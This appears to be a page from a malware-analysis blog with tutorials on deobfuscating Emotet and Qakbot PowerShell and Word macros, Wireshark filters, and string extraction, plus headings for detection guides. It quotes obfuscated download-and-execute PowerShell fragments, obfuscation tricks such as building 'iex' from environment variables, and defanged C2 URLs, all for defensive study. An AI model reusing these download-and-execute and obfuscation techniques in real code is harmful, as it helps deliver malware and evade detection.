Deobfuscate PowerShell using PowerShell Logging

Sat, 20 Apr 2019 13:26:45 GMT

We will use inbuilt PowerShell Logging in Windows 10 VM to deobfuscate PowerShell code used to deliver Emotet & Qakbot. Malware uses PowerShell mostly to download payload from CC and execute it.

Why do we need to do this?

Easy technique to deobfuscate PowerShell without using any external tool
Extract CC from PowerShell

Sample

Qakbot: Download hta file (Md5: 9ce2f8566be903e4bd9159b1b06900f4) used by Qakbot from ANY.RUN.
Emotet: Download Emotet downloader sample from zip archive 2018-05-04-Emotet-malware.zip / Virustotal

Enable PowerShell Logging

Windows 10 VM doesn’t require any software updates to support enhanced PowerShell logging. But if you still want to configure Windows 7 VM, please check the FireEye article Greater Visibility Through PowerShell Logging.

1. Open Local Group Policy editor and navigate to
Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell

Initial PowerShell Logging Setting

2. Enable the following three options shown below. Enter * in Module Names for Module logging.

PowerShell Group Policy Setting

Steps

Open Event Viewer and navigate to Windows Logs -> Application and Service Logs -> Windows PowerShell, right click and clear the existing logs
Execute the malware and wait for some time 30-60 sec.
Open ProcessHacker and check for termination of PowerShell process.
Open EventViewer and navigate to Windows PowerShell log and check the entries, you will see some deobfuscated PowerShell
Analyze PowerShell if needed to extract CC info

Example of Emotet & Qakbot

Qakbot

hta file contain Obfuscated VBScript code
Initial Obfuscated hta - Initial Obfuscated hta file which contain VBScript
Deobfuscate VBScript by replacing ]+($)#!%/=[?-_&*<> with ” and you can see obfuscated PowerShell.
Initial Obfuscate PowerShell - Initial Obfuscate PowerShell
But we don’t need to do above step, we can just run the hta file and see more clearer PowerShell code shown below.
Qakbot PowerShell Deobfuscation - 2nd level deobfuscated code is much better as you can see the CC
Extract CC by executing below PowerShell code
Qakbot CC - Execute PowerShell Code to extract CC

Emotet

Obfuscated Emotet PoweShell cmd - Contain PowerShell cmd extracted from Emotet doc

Emotet Powershell 1st Entry

Emotet Deobfuscated Powershell - Check the highlighted Deobfuscated Code

Deobfuscate Emotet PowerShell – Part 0x2

Sat, 26 May 2018 07:41:58 GMT

We will deobfuscate PowerShell and extract CC from the PowerShell cmd extracted from the Emotet downloader macro discussed in the previous article. If you want to learn how to deobfuscate and analyse the malicious macro code, please check this article and video.

Video Tutorial

Let see how to use this above concepts to deobfuscate the PowerShell

Why do we need to do this?

Extract CC info from Obfuscated PowerShell
Clean up the code, so we can analyse the Powershell easily

Sample

You can download the Emotet downloader sample from zip archive 2018-05-04-Emotet-malware.zip mentioned in this link / Virustotal

Important PowerShell concepts

We will look into some of the techniques and functions used in this Emotet doc.

Variable

You can create a new variable on the fly simply by assigning a value to it:
$url = 'https://twitter.com/Securityinbits'

Download File

This cmd is used in this macro to download Emotet sample from CC.
(New-Object System.Net.WebClient).DownloadFile($url, $output) e.g. $url = "http://httpbin.org/image/jpeg" (New-Object System.Net.WebClient).DownloadFile($url, "C:image.jpeg")

Invoke-Item

This cmd is used to start the exe downloaded from Emotet CC.

The Invoke-Item cmdlet performs the default action on the specified item. For example, it runs an executable file or opens a document file in the application associated with the document file type. The default action depends on the type of item and is determined by the Windows PowerShell provider that provides access to the data. For more details check this link.
PS C:> Invoke-Item "C:Windowssystem32calc.exe"

Invoke-Expression (or iex)

This iex is used to invoke the malicious PowerShell cmd.
iex is an alias for Invoke-Expression. Runs commands or expressions on the local computer. For more details check this link.
PS C:> $Command = "Get-Process" PS C:> $Command Get-Process PS C:> iex $Command Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName ------- ------ ----- ----- ----- ------ -- ----------- 296 4 1572 1956 20 0.53 1348 AdtAgent 270 6 1328 800 34 0.06 2396 alg 67 2 620 484 20 0.22 716 ati2evxx 1060 15 12904 11840 74 11.48 892 CcmExec 1400 33 25280 37544 223 38.44 2564 communicator ...

Some obfuscation technique

These are some of the techniques used in Emotet PowerShell to obfuscate the code to make the analysis difficult.

` or ^ (escape character) used in front of a character with no change in the result when starting PowerShell from cmd.exe.
$YYU."Do`Wnl`OadFI`le"($asfc."ToStr`i`Ng"(), $SDC);
iex alias is used to invoke the PowerShell command.
( $env:comSpeC[4,26,25]-JoIn'') --> iex
Strings are concatenate using ‘+’ to reduce readability
'6 http'+':'+'//'+'a'+'lian'+'.'+'d'+'e'+'/'+'4wBY'+'ki/@'
Strings encoded with ascii e.g [chaR]34 –> “
Replacing garbage character
-repLACE '0mI',[chaR]96

After Deobfuscation

CC

hxxp://alian[.]de/4wBYki/ hxxp://againstperfection[.]net/6kWq0/ hxxp://globalreachadvertising[.]com/zfFgSQ/ hxxp://www[.]fanoff[.]com/ZVljVr/ hxxp://thurtell[.]com/TCyk/

Deobfuscate malicious macro – Part 0x1

Sun, 20 May 2018 07:18:32 GMT

We will concentrate on malicious macro embedded in Emotet downloader office documents and see how to deobfuscate the macro code. In the next post we will deobfuscate the PowerShell executed by Word Doc.

Why do we need to do this?

Malicious code embedded in macro instead of exploit
Clean up the code, so we can analyse the macro easily

Sample

You can download the Emotet downloader sample from zip archive 2018-05-04-Emotet-malware.zip mentioned in this link / Virustotal.

Important Macro concepts

Macros are written in VBScript commands. The steps to show the developer tab varies based on the Office version, check this link for more details.

Sub Procedure

A Sub procedure is a series of Visual Basic statements enclosed by the Sub and End Sub statements that performs actions but doesn’t return a value. For more details check this msdn link. This following procedure contains junk code which is not used anywhere.
Sub jpiWVs(tssPw) twzSX = 89948 * CByte(bcDtOn) wvGHf = Int(92496) - Oct(30921 - 82308 * TYNLPB) YCFNn = 98570 * CByte(NSkFX) End Sub

Function

A Function procedure is a series of Visual Basic statements enclosed by the Function and End Function statements. A Function procedure is similar to a Sub procedure, but a function can also return a value. For more details check this msdn link.
Function nFODYizhYv() On Error Resume Next HaPTn = 36440 * CByte(cGdhi) AqKKP = Int(78184) - Oct(38288 - 29334 * FjYvSt) GJKXZG = 1995 * CByte(GZUcj) ...... MUtvc = 12179 * CByte(GKtld) JLfpah = Int(41681) - Oct(37691 - 32289 * NGzQXX) LPHts = 34930 * CByte(wKlPaU) End Function

On Error Resume Next

It means that whenever there is any error in the program then continue to the next line. Due to this statement malware authors can write junk statements to obfuscate code to make our(or security product) analysis difficult .

Autoopen

One of the important functions used in the malicious macro is Autoopen(). This function execute when we open a document, so malware execution starts from the function.
Autopen function present in this word doc
Sub Autoopen() On Error Resume Next bfBwfX = 82635 * CByte(XGMXEm) mVfwi = Int(47288) - Oct(94569 - 38523 * LlJCD) CMjPum = 57434 * CByte(iWvcC) TiOoQjQV (tCXUs + nFODYizhYv + KsQPV) ... End Sub

Debug.Print

We can print any value of variable by adding Debug.Print variable_name, it will display the output in View-> Immediate Window (Ctrl+G)

Shell

Shell function is used to run any code, for more details check this link msdn link. This function is used to execute the malicious power shell cmd to download and execute Emotet malware.
[Shell] ZHBuq + Chr(vbKeyC) + qFkOSjfj + qjXrchNTBZRhNs + sEPXQbb, ciXcjw + 0 + ciXcjw

Mid

MID function extracts a substring from a string (starting at any position). For more details check this link.

Deobfuscation

This macro is heavily obfuscated with junk code and random variable/function name. For deobfuscation we just need to check if the variable/function is used in the program. This macro uses the StrReverse and Mid function on different strings to build the malicious PowerShell code.

Video Tutorial

Let’s see how to use the above concepts to deobfuscate the macro. In this post we will not concentrate on the PowerShell part, we will just deobfuscate the macro. Check this article which explain how to deobfuscate and extract CC

In the next post we will concentrate on the deobfuscation of PowerShell.

Important Wireshark filters

Sat, 05 May 2018 09:59:47 GMT

We will look into some of the Wireshark display filters which can be used in malware analysis. We can use this Wireshark display filter after we capture pcap during dynamic malware analysis.

Why do we need to do this?

Help us to remove the noise from pcap
Easy to extract IoC (e.g Domain, IP etc) from pcap
Understanding of network behaviour during dynamic malware analysis

Wireshark display columns setup

But before proceeding, I will highly recommend you to follow these two tutorials to modify the column setting of Wireshark, it will make the analysis much easier and efficient.

Wireshark display filters

Display filter	Comments
!(ssdp or udp)	This not filter can be used when you want to filter any noise from specific protocol
dns or http	It will show all the packets with protocol dns or http. It can be used as starting point in analysis for checking any suspicious dns request or http to identify any CC.
ip.addr == 192.168.0.1 same as ip.src == 192.168.0.1 or ip.dst == 192.168.0.1	Matches against both the IP source and destination addresses in the IP header. It can be used to filter when you know ip address of CC/victim machine.
http.request	Display all types of http request e.g GET, POST etc. This can be also good starting point to check if malware is sending any http request to CC.
http contains "Mozilla/5.0"	Search for the string in http protocol. It is very useful if you are looking for specific strings.
http contains 6d:73:77:6f:72:64	You can also search using hex instead of ascii strings. 6d:73:77:6f:72:64 == msword
http.file_data matches "^MZ"	Match the given case-insensitive Perl-compatible regular expression(PCRE) with file_data. It can be used to match any file type magic bytes which is present in http filedata.
ssl.handshake.type == 1	Matches ssl client hello type request. Good for extracting CC for malware using SSL.
tcp.port == 1300 same as tcp.dstport == 1300 or tcp.srcport == 1300	Matches source or destination port for tcp protocol. It's useful when malware uses custom port for communication to CC e.g Darkcomet.
tcp.port == 1300 and tcp.flags == 0x2	Filter based on port and SYN flag in tcp packet. It useful to remove the noise and extract CC.

Download pcap

I will highly recommend downloading the infection traffic pcap from this link and practicing different display filters. After going through the pcap, I was able to create the following display filter which shows all valid IoCs and remove the noise from pcap.
http.request or dns.qry.name matches "(hopto|ddns)" or ssl.handshake.type == 1 or (tcp.flags == 0x2 and not tcp.dstport in {443 80})

References

Extract strings

Sun, 29 Apr 2018 09:08:30 GMT

Extracting strings is an important step in malware analysis. In this post we will concentrate on static analysis and learn how we can extract/interpret strings from malware. You can download Rokrat (MD5: b441d9a75c60b222e3c9fd50c0d14c5b) from VirusTotal / VirusBay / ANY.RUN.

Why do we need to do this?

Guess the malware functionality based on the strings.
If we google some of the strings, we may find some related articles/hashes online.
Guess file type, compiler info, packer etc.

Tools

Windows: Sysinternals Strings
Linux: Install binutils e.g. sudo apt install binutils for GNU strings utility
macOS: Inbuilt strings tool doesn’t cover the Unicode strings, it only extract the ASCII strings so we need to install GNU strings using brew install binutils

How to extract?

For Linux/macOS, if you use GNU strings then use following command and default minimum length is 4
strings -a malware.exe. --> ASCII strings strings -a -el malware.exe --> Unicode Strings

For Windows, I use strings from Sysinternals and default minimum length is 3
strings malware.exe --> ASCII and Unicode strings

Sysinternals Strings tool search for ASCII and Unicode strings in binary images.After you execute the tool without any parameter it will show you different options.

When strings is executed without any option it will extract Unicode and ascii strings with default string length of 3.

Steps

strings <file_path> > output.txt
Open output.txt in your favourite editor

Packed Dummy Rokrat strings

strings -nobanner rokrat_dummy.sample > packed_strings.txt

strings -nobanner -n 6 rokrat_dummy.sample > packed_strings.txt

It generated around 5014 strings, please go through the strings output(i.e. packed_strings.txt) before reading further and try to guess the usage.

Some observations from extracted strings

Strings	Comments
.text `.rdata @.data .rsrc @.reloc	Section names
An application has made an attempt to load the C runtime library incorrectly. Please contact the application's support team for more information. R6033 - Attempt to use MSIL code from this assembly during native code initialization	Strings related to library code
>@\| 3@\| K@\| &@\| #@}	Some of the strings are not useful, you can ignore them
GetTempPathW VirtualAllocEx LockResource WriteProcessMemory	API name

Few important strings

Strings	Guess (or comments)
cmd.exe	Maybe it is using cmd.exe to execute some program? Maybe looking for this process name?
d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb	PDB Path: After googling, you may find related samples/articles
PST PDT photo.jpg Exif Adobe Photoshop CC 2017 (Windows) 2017:09:29 23:17:46 Adobe Photoshop CC 2017	photo.jpg file embedded in the file? Made by Adobe photoshop CC ? 2017:09:29 23:17:46 May be creation date?

Unpacked Rokrat strings

I have unpacked the b441d9a75c60b222e3c9fd50c0d14c5b sample and extracted the unpacked strings with minimum length 6.
strings -nobanner -n 6 unpacked_rokrat.sample > rokrat_unpacked_strings.txt

Few important strings

Strings	Guess (or comments)
https://api.box.com/oauth2/token https://account.box.com/api/oauth2/authorize https://cloud-api.yandex.net/v1/disk/resources?path=%s&permanently=%s ...	Used as CC?
System manufacturer (Other) (Unknown) (Desktop) (Low Profile Desktop) (Mini Tower) ....	Collecting systeminfo and sending this info to CC ?
SbieDll.dll api_log.dll C:\Program Files\VMware\VMware Tools\vmtoolsd.exe .....	Anti-analysis techniques

What to look for?

Domain names/IP address(or CC)
Registry keys
Network request pattern
PDB path
Directory/File path or name
List of application names e.g Chrome, Firefox, Skype, FTP application etc.
Malware analysis tools
Any other unique strings

When will it fail?

File is packed
Strings are encrypted/encoded
Maybe the file is just a downloader and CC are encrypted?
Many others…..

Security-in-bits

wbadmin NTDS.dit dump detection for Domain Controllers

Why this matters

Step 1: The wbadmin pattern to watch

Executed command

Example output

Step 2: Confirm the backup artifacts on disk

Dir structure

Step 3: Validate the copied files (mount the container)

Step 4: Correlate with Windows Backup logs

Event Viewer Logs

Step 5: Detections (Sigma, MDE, Elastic)

SIEM Detections

Sensitive File Dump Via Wbadmin.EXE

Triage checklist

Further reading (same stack)

Known in-the-wild incidents

References

How to set up Sigma rules for Elasticsearch SIEM

1. Install sigma-cli

2. Install the Elasticsearch backend plugin

3. Download Sigma rules

4. Convert Sigma rules to Elasticsearch Lucene

5. Upload NDJSON rules to Kibana

Key takeaways for defenders

References

Discovery using nltest, net and whoami

Known in-the-wild incidents

Sigma Rules

Visual mapping

Potential Recon Activity Via Nltest.EXE

Example output

Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Example output

Group Membership Reconnaissance Via Whoami.EXE

Example output

SIEM Detections

Potential Recon Activity Via Nltest.EXE

Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Group Membership Reconnaissance Via Whoami.EXE

References

LSASS Dump via comsvcs.dll: Defender Detection Guide

What the technique is

Exact command executed

Detecting LSASS dump via comsvcs.dll (rundll32)

Visual Sigma mapping

Sigma rules that trigger on comsvcs.dll

SIEM Detections

Potential Obfuscated Ordinal Call Via Rundll32

Process Memory Dump Via Comsvcs.DLL

Recon Command Output Piped To Findstr.EXE

Known in-the-wild incidents

References

Deobfuscate PowerShell using MinusOne

Obfuscated PowerShell

Deobfuscated PowerShell

References

AdaptixC2 Defender

Timeline

Known In-the-Wild Incidents

Detection

Config extractor

C2 Feeds

Hash Feed

References

Unpack RedLine stealer using dnSpyEx – Part 3

Using dnSpyEx for Manual Debugging – RedLine Stealer

1. Loading line.exe into dnSpyEx

2. Loads & execute the 2nd Stage dll (HiTechDistribution.dll)

3. Analyze & Debug the 2nd Stage DLL

4. Persistency using Startup folder

5. Load and dump 3rd stage dll (2.7.dll)

6. Extracting the Unpacked Malware

7. Extract RedLine config using dnSpyEx

Unpack RedLine stealer to extract config using pe-sieve -Part 2

Fast & Easy Method: Using pe-sieve

1. Monitor the malware using ProcMon & Process hacker

2. Dump the code using pe-sieve

3. Extract config using dnSpyEx

🔍 Dive into the RedLine Stealer Infection Chain – Part 1